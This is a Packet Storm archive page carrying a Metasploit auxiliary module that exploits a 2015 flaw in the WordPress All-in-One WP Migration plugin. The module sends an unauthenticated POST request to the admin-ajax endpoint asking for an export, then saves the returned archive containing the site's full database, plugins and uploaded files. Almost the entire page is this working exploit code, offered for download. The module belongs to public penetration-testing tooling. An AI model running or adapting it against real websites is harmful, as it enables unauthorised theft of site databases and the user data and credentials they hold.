what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress All-in-One Migration Export

WordPress All-in-One Migration Export
Posted Aug 31, 2024
Authored by James Golovich, rastating | Site metasploit.com

This Metasploit module allows you to export Wordpress data (such as the database, plugins, themes, uploaded files, etc) via the All-in-One Migration plugin without authentication.

tags | exploit
SHA-256 | 9bdc122b893b2c4e99a62a27a708eeb673d8bcdfb2020c9ca3a67f16d7102653

WordPress All-in-One Migration Export

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress All-in-One Migration Export',
'Description' => %q{
This module allows you to export Wordpress data (such as the database, plugins, themes,
uploaded files, etc) via the All-in-One Migration plugin without authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Disclosure
'rastating' # Metasploit module
],
'References' =>
[
['WPVDB', '7857'],
['URL', 'https://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability']
],
'DisclosureDate' => '2015-03-19'
))

register_options(
[
OptInt.new('MAXTIME', [ true, 'The maximum number of seconds to wait for the export to complete', 300 ])
])
end

def check
check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5')
end

def run
print_status("Requesting website export...")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'router' },
'vars_post' => { 'options[action]' => 'export' }
}, datastore['MAXTIME'])

unless res
fail_with(Failure::Unknown, "#{peer} - No response from the target")
end

if res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Server responded with status code #{res.code}")
end

if res.body.blank?
print_status("Unable to download anything.")
print_status("Either the target isn't actually vulnerable, or")
print_status("it does not allow WRITE permission to the all-in-one-wp-migration/storage directory.")
else
store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup')
print_good("Backup archive saved to #{store_path}")
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close